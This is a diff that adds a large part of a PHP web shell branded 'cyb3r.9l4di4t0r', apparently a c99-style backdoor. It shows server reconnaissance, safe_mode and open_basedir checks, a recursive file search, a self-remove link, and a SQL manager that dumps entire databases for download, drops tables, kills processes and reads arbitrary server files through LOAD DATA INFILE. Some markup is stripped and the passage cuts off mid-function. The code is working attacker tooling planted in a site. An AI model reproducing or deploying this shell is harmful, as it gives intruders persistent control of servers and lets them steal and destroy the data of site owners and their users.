+if (!function_exists("mysql_dump"))
+
+{
+
+function mysql_dump($set)
+
+{
+
+ global $shver;
+
+ $sock = $set["sock"];
+
+ $db = $set["db"];
+
+ $print = $set["print"];
+
+ $nl2br = $set["nl2br"];
+
+ $file = $set["file"];
+
+ $add_drop = $set["add_drop"];
+
+ $tabs = $set["tabs"];
+
+ $onlytabs = $set["onlytabs"];
+
+ $ret = array();
+
+ $ret["err"] = array();
+
+ if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
+
+ if (empty($db)) {$db = "db";}
+
+ if (empty($print)) {$print = 0;}
+
+ if (empty($nl2br)) {$nl2br = 0;}
+
+ if (empty($add_drop)) {$add_drop = TRUE;}
+
+ if (empty($file))
+
+ {
+
+ $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
+
+ }
+
+ if (!is_array($tabs)) {$tabs = array();}
+
+ if (empty($add_drop)) {$add_drop = TRUE;}
+
+ if (sizeof($tabs) == 0)
+
+ {
+
+ // retrive tables-list
+
+ $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
+
+ if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
+
+ }
+
+ $out = "# Dumped by cyb3rell.SQL v. ".$shver."
+
+# Home page: http://ccteam.ru
+
+#
+
+# Host settings:
+
+# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
+
+# Date: ".date("d.m.Y H:i:s")."
+
+# DB: \"".$db."\"
+
+#---------------------------------------------------------
+
+";
+
+ $c = count($onlytabs);
+
+ foreach($tabs as $tab)
+
+ {
+
+ if ((in_array($tab,$onlytabs)) or (!$c))
+
+ {
+
+ if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
+
+ // recieve query for create table structure
+
+ $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
+
+ if (!$res) {$ret["err"][] = mysql_smarterror();}
+
+ else
+
+ {
+
+ $row = mysql_fetch_row($res);
+
+ $out .= $row["1"].";\n\n";
+
+ // recieve table variables
+
+ $res = mysql_query("SELECT * FROM `$tab`", $sock);
+
+ if (mysql_num_rows($res) > 0)
+
+ {
+
+ while ($row = mysql_fetch_assoc($res))
+
+ {
+
+ $keys = implode("`, `", array_keys($row));
+
+ $values = array_values($row);
+
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+
+ $values = implode("', '", $values);
+
+ $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
+
+ $out .= $sql;
+
+ }
+
+ }
+
+ }
+
+ }
+
+ }
+
+ $out .= "#---------------------------------------------------------------------------------\n\n";
+
+ if ($file)
+
+ {
+
+ $fp = fopen($file, "w");
+
+ if (!$fp) {$ret["err"][] = 2;}
+
+ else
+
+ {
+
+ fwrite ($fp, $out);
+
+ fclose ($fp);
+
+ }
+
+ }
+
+ if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
+
+ return $out;
+
+}
+
+}
+
+if (!function_exists("mysql_buildwhere"))
+
+{
+
+function mysql_buildwhere($array,$sep=" and",$functs=array())
+
+{
+
+ if (!is_array($array)) {$array = array();}
+
+ $result = "";
+
+ foreach($array as $k=>$v)
+
+ {
+
+ $value = "";
+
+ if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
+
+ $value .= "'".addslashes($v)."'";
+
+ if (!empty($functs[$k])) {$value .= ")";}
+
+ $result .= "`".$k."` = ".$value.$sep;
+
+ }
+
+ $result = substr($result,0,strlen($result)-strlen($sep));
+
+ return $result;
+
+}
+
+}
+
+if (!function_exists("mysql_fetch_all"))
+
+{
+
+function mysql_fetch_all($query,$sock)
+
+{
+
+ if ($sock) {$result = mysql_query($query,$sock);}
+
+ else {$result = mysql_query($query);}
+
+ $array = array();
+
+ while ($row = mysql_fetch_array($result)) {$array[] = $row;}
+
+ mysql_free_result($result);
+
+ return $array;
+
+}
+
+}
+
+if (!function_exists("mysql_smarterror"))
+
+{
+
+function mysql_smarterror($type,$sock)
+
+{
+
+ if ($sock) {$error = mysql_error($sock);}
+
+ else {$error = mysql_error();}
+
+ $error = htmlspecialchars($error);
+
+ return $error;
+
+}
+
+}
+
+if (!function_exists("mysql_query_form"))
+
+{
+
+function mysql_query_form()
+
+{
+
+ global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
+
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+
+ if ((!$submit) or ($sql_act))
+
+ {
+
+ echo "";
+
+ }
+
+ }
+
+ if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
+
+}
+
+}
+
+if (!function_exists("mysql_create_db"))
+
+{
+
+function mysql_create_db($db,$sock="")
+
+{
+
+ $sql = "CREATE DATABASE `".addslashes($db)."`;";
+
+ if ($sock) {return mysql_query($sql,$sock);}
+
+ else {return mysql_query($sql);}
+
+}
+
+}
+
+if (!function_exists("mysql_query_parse"))
+
+{
+
+function mysql_query_parse($query)
+
+{
+
+ $query = trim($query);
+
+ $arr = explode (" ",$query);
+
+ /*array array()
+
+ {
+
+ "METHOD"=>array(output_type),
+
+ "METHOD1"...
+
+ ...
+
+ }
+
+ if output_type == 0, no output,
+
+ if output_type == 1, no output if no error
+
+ if output_type == 2, output without control-buttons
+
+ if output_type == 3, output with control-buttons
+
+ */
+
+ $types = array(
+
+ "SELECT"=>array(3,1),
+
+ "SHOW"=>array(2,1),
+
+ "DELETE"=>array(1),
+
+ "DROP"=>array(1)
+
+ );
+
+ $result = array();
+
+ $op = strtoupper($arr[0]);
+
+ if (is_array($types[$op]))
+
+ {
+
+ $result["propertions"] = $types[$op];
+
+ $result["query"] = $query;
+
+ if ($types[$op] == 2)
+
+ {
+
+ foreach($arr as $k=>$v)
+
+ {
+
+ if (strtoupper($v) == "LIMIT")
+
+ {
+
+ $result["limit"] = $arr[$k+1];
+
+ $result["limit"] = explode(",",$result["limit"]);
+
+ if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
+
+ unset($arr[$k],$arr[$k+1]);
+
+ }
+
+ }
+
+ }
+
+ }
+
+ else {return FALSE;}
+
+}
+
+}
+
+if (!function_exists("cyb3rfsearch"))
+
+{
+
+function cyb3rfsearch($d)
+
+{
+
+ global $found;
+
+ global $found_d;
+
+ global $found_f;
+
+ global $search_i_f;
+
+ global $search_i_d;
+
+ global $a;
+
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+
+ $h = opendir($d);
+
+ while (($f = readdir($h)) !== FALSE)
+
+ {
+
+ if($f != "." && $f != "..")
+
+ {
+
+ $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
+
+ if (is_dir($d.$f))
+
+ {
+
+ $search_i_d++;
+
+ if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
+
+ if (!is_link($d.$f)) {cyb3rfsearch($d.$f);}
+
+ }
+
+ else
+
+ {
+
+ $search_i_f++;
+
+ if ($bool)
+
+ {
+
+ if (!empty($a["text"]))
+
+ {
+
+ $r = @file_get_contents($d.$f);
+
+ if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
+
+ if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
+
+ if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
+
+ else {$bool = strpos(" ".$r,$a["text"],1);}
+
+ if ($a["text_not"]) {$bool = !$bool;}
+
+ if ($bool) {$found[] = $d.$f; $found_f++;}
+
+ }
+
+ else {$found[] = $d.$f; $found_f++;}
+
+ }
+
+ }
+
+ }
+
+ }
+
+ closedir($h);
+
+}
+
+}
+
+if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
+
+//Sending headers
+
+@ob_start();
+
+@ob_implicit_flush(0);
+
+function onphpshutdown()
+
+{
+
+ global $gzipencode,$ft;
+
+ if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
+
+ {
+
+ $v = @ob_get_contents();
+
+ @ob_end_clean();
+
+ @ob_start("ob_gzHandler");
+
+ echo $v;
+
+ @ob_end_flush();
+
+ }
+
+}
+
+function cyb3rexit()
+
+{
+
+ onphpshutdown();
+
+ exit;
+
+}
+
+
+if (empty($tmpdir))
+
+{
+
+ $tmpdir = ini_get("upload_tmp_dir");
+
+ if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
+
+}
+
+$tmpdir = realpath($tmpdir);
+
+$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
+
+if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
+
+if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
+
+else {$tmpdir_logs = realpath($tmpdir_logs);}
+
+if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
+
+{
+
+ $safemode = TRUE;
+
+ $hsafemode = "ON (secure) ";
+ $sfmode = "ON (secure) ";
+}
+
+else {$safemode = FALSE; $hsafemode = "OFF (not secure) "; $sfmode = "OFF (not secure) ";}
+
+$v = @ini_get("open_basedir");
+
+if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "".$v." ";}
+
+else {$openbasedir = FALSE; $hopenbasedir = "OFF (not secure) ";}
+
+$sort = htmlspecialchars($sort);
+
+if (empty($sort)) {$sort = $sort_default;}
+
+$sort[1] = strtolower($sort[1]);
+
+$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
+
+if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
+
+$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),'[Google ]',htmlspecialchars($DISP_SERVER_SOFTWARE));
+
+@ini_set("highlight.bg",$highlight_bg); //FFFFFF
+
+@ini_set("highlight.comment",$highlight_comment); //#FF8000
+
+@ini_set("highlight.default",$highlight_default); //#0000BB
+
+@ini_set("highlight.html",$highlight_html); //#000000
+
+@ini_set("highlight.keyword",$highlight_keyword); //#007700
+
+@ini_set("highlight.string",$highlight_string); //#DD0000
+
+if (!is_array($actbox)) {$actbox = array();}
+
+$dspact = $act = htmlspecialchars($act);
+
+$disp_fullpath = $ls_arr = $notls = null;
+
+$ud = urlencode($d);
+
+?>
+
+
+
+
+ cyb3r.9l4di4t0r
+
+
+
+ Software :
+ Exploit DB ]'; ?>
+ Server I.P. "?>
+
+
+
+ Uname-a : "?>
+ ",1); ?>
+ Client I.P. "?>
+
+
+
+ Username : "?>
+ ",1);} else {echo get_current_user();} ?>
+ Sys teminfo "?>
+
+
+
+ Safe Mode :
+
+
+
+
+
+ Directory :
+
+ ".htmlspecialchars($b).DIRECTORY_SEPARATOR." ";
+
+ $i++;
+
+}
+
+echo " ";
+
+if (is_writable($d))
+
+{
+
+ $wd = TRUE;
+
+ $wdt = "[ ok ] ";
+
+ echo "".view_perms(fileperms($d))." ";
+
+}
+
+else
+
+{
+
+ $wd = FALSE;
+
+ $wdt = "[ Read-Only ] ";
+
+ echo "".view_perms_color($d)." ";
+
+}
+ ?>
+
+ Self Remove "?>
+
+
+
+ Free Space :
+
+ ".view_size($free)." of ".view_size($total)." (".$free_percent."%) ";
+
+}?>
+
+ Feedback "?>
+
+
+
+ Drives :
+
+ [ ";
+
+ if ($letter.":" != $v) {$letters .= $letter;}
+
+ else {$letters .= "".$letter." ";}
+
+ $letters .= " ] ";
+
+ }
+
+ }
+
+ if (!empty($letters)) {echo $letters." ";}
+}
+ ?>
+ I'm Out !
+
+
+
+
+
+
+
+
+
+
+
+ ADMIN: |
+ PHP : ".$phpVersion." "?> |
+ Curl : Enabled"):("Disabled"); ?> |
+ Oracle : Enabled"):("Disabled"); ?> |
+ MySQL : Enabled"):("Disabled");?> |
+ MSSQL : Enabled"):("Disabled"); ?> |
+ PostgreSQL : Enabled"):("Disabled"); ?> |
+ Disable functions :
+
+
+
+
+
+ 0)
+
+ {
+
+ foreach($quicklaunch as $item)
+
+ {
+
+ $item[1] = str_replace("%d",urlencode($d),$item[1]);
+
+ $item[1] = str_replace("%sort",$sort,$item[1]);
+
+ $v = realpath($d."..");
+
+ if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
+
+ $item[1] = str_replace("%upd",urlencode($v),$item[1]);
+
+ echo "".$item[0]." ";
+
+ }
+
+ }?>
+
+
+
+".$donated_html."
";}
+
+echo "";
+
+if ($act == "") {$act = $dspact = "ls";}
+
+if ($act == "sql")
+
+{
+
+ $sql_surl = $surl."act=sql";
+
+ if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
+
+ if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
+
+ if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
+
+ if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
+
+ if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
+
+ $sql_surl .= "&";
+
+ ?>Attention! SQL-Manager is NOT ready module! Don't reports bugs.
+ SQL Manager: ";
+
+ if (!$sql_sock)
+
+ {
+
+ if (!$sql_server) {echo "NO CONNECTION";}
+
+ else {echo "Can't connect "; echo "".$err." ";}
+
+ }
+
+ else
+
+ {
+
+ $sqlquicklaunch = array();
+
+ $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
+
+ $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
+
+ $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
+
+ $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
+
+ $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
+
+ $sqlquicklaunch[] = array("Logout",$surl."act=sql");
+
+ echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\") ";
+
+ if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+
+ echo " ";
+
+ }
+
+ echo " ";
+
+ if (!$sql_sock) {?>
+ i
+ If login is null, login is owner of process.
+ If host is null, host is localhost If port is null, port is 3306 (default) Please, fill the form:
+
+ ">Home ".htmlspecialchars($sql_db)." ]--- ";
+
+ $c = 0;
+
+ while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].") "; mysql_free_result($count); $c++;}
+
+ if (!$c) {echo "No tables found in database.";}
+
+ }
+
+ }
+
+ else
+
+ {
+
+ ?>Home ".$row[0].""; $c++;}
+
+ echo "Databases (".$c.") ";
+
+ echo $dbs;
+
+ }
+
+ ?> Please, select database";
+
+ //Start center panel
+
+ $diplay = TRUE;
+
+ if ($sql_db)
+
+ {
+
+ if (!is_numeric($c)) {$c = 0;}
+
+ if ($c == 0) {$c = "no";}
+
+ echo "There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db)."). ";
+
+ if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+
+ echo " ";
+
+ $acts = array("","dump");
+
+ if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+
+ elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
+
+ elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
+
+ elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+
+ elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+
+ elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+
+ elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+
+ elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
+
+ elseif ($sql_tbl_act == "insert")
+
+ {
+
+ if ($sql_tbl_insert_radio == 1)
+
+ {
+
+ $keys = "";
+
+ $akeys = array_keys($sql_tbl_insert);
+
+ foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
+
+ if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
+
+ $values = "";
+
+ $i = 0;
+
+ foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
+
+ if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
+
+ $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
+
+ $sql_act = "query";
+
+ $sql_tbl_act = "browse";
+
+ }
+
+ elseif ($sql_tbl_insert_radio == 2)
+
+ {
+
+ $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
+
+ $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
+
+ $result = mysql_query($sql_query) or print(mysql_smarterror());
+
+ $result = mysql_fetch_array($result, MYSQL_ASSOC);
+
+ $sql_act = "query";
+
+ $sql_tbl_act = "browse";
+
+ }
+
+ }
+
+ if ($sql_act == "query")
+
+ {
+
+ echo " ";
+
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+
+ if ((!$submit) or ($sql_act)) {echo "";}
+
+ }
+
+ if (in_array($sql_act,$acts))
+
+ {
+
+ ?>";}
+
+ if ($sql_act == "newtbl")
+
+ {
+
+ echo "";
+
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";
+
+ }
+
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
+
+ }
+
+ elseif ($sql_act == "dump")
+
+ {
+
+ if (empty($submit))
+
+ {
+
+ $diplay = FALSE;
+
+ echo "SQL-Dump: ";
+
+ echo "DB: ";
+
+ $v = join (";",$dmptbls);
+
+ echo "Only tables (explode \";\") 1 : ";
+
+ if ($dump_file) {$tmp = $dump_file;}
+
+ else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
+
+ echo "File: ";
+
+ echo "Download: ";
+
+ echo "Save to file: ";
+
+ echo "1 - all, if empty";
+
+ echo " ";
+
+ }
+
+ else
+
+ {
+
+ $diplay = TRUE;
+
+ $set = array();
+
+ $set["sock"] = $sql_sock;
+
+ $set["db"] = $sql_db;
+
+ $dump_out = "download";
+
+ $set["print"] = 0;
+
+ $set["nl2br"] = 0;
+
+ $set[""] = 0;
+
+ $set["file"] = $dump_file;
+
+ $set["add_drop"] = TRUE;
+
+ $set["onlytabs"] = array();
+
+ if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
+
+ $ret = mysql_dump($set);
+
+ if ($sql_dump_download)
+
+ {
+
+ @ob_clean();
+
+ header("Content-type: application/octet-stream");
+
+ header("Content-length: ".strlen($ret));
+
+ header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
+
+ echo $ret;
+
+ exit;
+
+ }
+
+ elseif ($sql_dump_savetofile)
+
+ {
+
+ $fp = fopen($sql_dump_file,"w");
+
+ if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
+
+ else
+
+ {
+
+ fwrite($fp,$ret);
+
+ fclose($fp);
+
+ echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).") .";
+
+ }
+
+ }
+
+ else {echo "Dump: nothing to do! ";}
+
+ }
+
+ }
+
+ if ($diplay)
+
+ {
+
+ if (!empty($sql_tbl))
+
+ {
+
+ if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
+
+ $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
+
+ $count_row = mysql_fetch_array($count);
+
+ mysql_free_result($count);
+
+ $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
+
+ $tbl_struct_fields = array();
+
+ while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
+
+ if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
+
+ if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
+
+ if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
+
+ if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
+
+ $perpage = $sql_tbl_le - $sql_tbl_ls;
+
+ if (!is_numeric($perpage)) {$perpage = 10;}
+
+ $numpages = $count_row[0]/$perpage;
+
+ $e = explode(" ",$sql_order);
+
+ if (count($e) == 2)
+
+ {
+
+ if ($e[0] == "d") {$asc_desc = "DESC";}
+
+ else {$asc_desc = "ASC";}
+
+ $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
+
+ }
+
+ else {$v = "";}
+
+ $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
+
+ $result = mysql_query($query) or print(mysql_smarterror());
+
+ echo " Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows) ";
+
+ echo "[ Structure ] ";
+
+ echo "[ Browse ] ";
+
+ echo "[ Dump ] ";
+
+ echo "[ Insert ] ";
+
+ if ($sql_tbl_act == "structure") {echo "Coming sooon! ";}
+
+ if ($sql_tbl_act == "insert")
+
+ {
+
+ if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
+
+ if (!empty($sql_tbl_insert_radio))
+
+ {
+
+
+
+ }
+
+ else
+
+ {
+
+ echo "Inserting row into table: ";
+
+ if (!empty($sql_tbl_insert_q))
+
+ {
+
+ $sql_query = "SELECT * FROM `".$sql_tbl."`";
+
+ $sql_query .= " WHERE".$sql_tbl_insert_q;
+
+ $sql_query .= " LIMIT 1;";
+
+ $result = mysql_query($sql_query,$sql_sock) or print(" ".mysql_smarterror());
+
+ $values = mysql_fetch_assoc($result);
+
+ mysql_free_result($result);
+
+ }
+
+ else {$values = array();}
+
+ echo " ";
+
+ echo "Insert as new row ";
+
+ if (!empty($sql_tbl_insert_q)) {echo " or Save "; echo " ";}
+
+ echo " ";
+
+ }
+
+ }
+
+ if ($sql_tbl_act == "browse")
+
+ {
+
+ $sql_tbl_ls = abs($sql_tbl_ls);
+
+ $sql_tbl_le = abs($sql_tbl_le);
+
+ echo " ";
+
+ echo " ";
+
+ $b = 0;
+
+ for($i=0;$i<$numpages;$i++)
+
+ {
+
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";}
+
+ echo $i;
+
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo " ";}
+
+ if (($i/30 == round($i/30)) and ($i > 0)) {echo " ";}
+
+ else {echo " ";}
+
+ }
+
+ if ($i == 0) {echo "empty";}
+
+ echo "From: To: ";
+
+ echo "";
+
+ echo "With selected: ";
+
+ echo "Delete ";
+
+ echo "
";
+
+ }
+
+ }
+
+ else
+
+ {
+
+ $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
+
+ if (!$result) {echo mysql_smarterror();}
+
+ else
+
+ {
+
+ echo "";
+
+ echo "With selected: ";
+
+ echo "Drop ";
+
+ echo "Empty ";
+
+ echo "Dump ";
+
+ echo "Check table ";
+
+ echo "Optimize table ";
+
+ echo "Repair table ";
+
+ echo "Analyze table ";
+
+ echo "
";
+
+ mysql_free_result($result);
+
+ }
+
+ }
+
+ }
+
+ }
+
+ }
+
+ else
+
+ {
+
+ $acts = array("","newdb","serverstatus","servervars","processes","getfile");
+
+ if (in_array($sql_act,$acts)) {?>";
+
+ if ($sql_act == "newdb")
+
+ {
+
+ echo "";
+
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";}
+
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
+
+ }
+
+ if ($sql_act == "serverstatus")
+
+ {
+
+ $result = mysql_query("SHOW STATUS", $sql_sock);
+
+ echo "Server-status variables: ";
+
+ echo "Name Value ";
+
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+
+ echo "
";
+
+ mysql_free_result($result);
+
+ }
+
+ if ($sql_act == "servervars")
+
+ {
+
+ $result = mysql_query("SHOW VARIABLES", $sql_sock);
+
+ echo "Server variables: ";
+
+ echo "Name Value ";
+
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+
+ echo "
";
+
+ mysql_free_result($result);
+
+ }
+
+ if ($sql_act == "processes")
+
+ {
+
+ if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen. ";}
+
+ $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
+
+ echo "Processes: ";
+
+ echo "ID USER HOST DB COMMAND TIME STATE INFO Action ";
+
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "".$row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." Kill ";}
+
+ echo "
";
+
+ mysql_free_result($result);
+
+ }
+
+ if ($sql_act == "getfile")
+
+ {
+
+ $tmpdb = $sql_login."_tmpdb";
+
+ $select = mysql_select_db($tmpdb);
+
+ if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
+
+ if ($select)
+
+ {
+
+ $created = FALSE;
+
+ mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
+
+ mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
+
+ $result = mysql_query("SELECT * FROM tmp_file;");
+
+ if (!$result) {echo "Error in reading file (permision denied)! ";}
+
+ else
+
+ {
+
+ for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty! ";}
+
+ else {echo "File \"".$sql_getfile."\": ".nl2br(htmlspecialchars($f))." ";}
+
+ mysql_free_result($result);
+
+ mysql_query("DROP TABLE tmp_file;");
+
+ }
+
+ }
+
+ mysql_drop_db($tmpdb); //comment it if you want to leave database
+
+ }
+
+ }
+
+ }
+
+ }
+
+ echo "
";
+
+ if ($sql_sock)
+
+ {
+
+ $affected = @mysql_affected_rows($sql_sock);
+
+ if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
+
+ echo " Affected rows: ".$affected." ";
+
+ }
+
+ echo "
";
+
+}
+
+if ($act == "mkdir")
+{
+
+ if ($mkdir != $d)
+ {
+
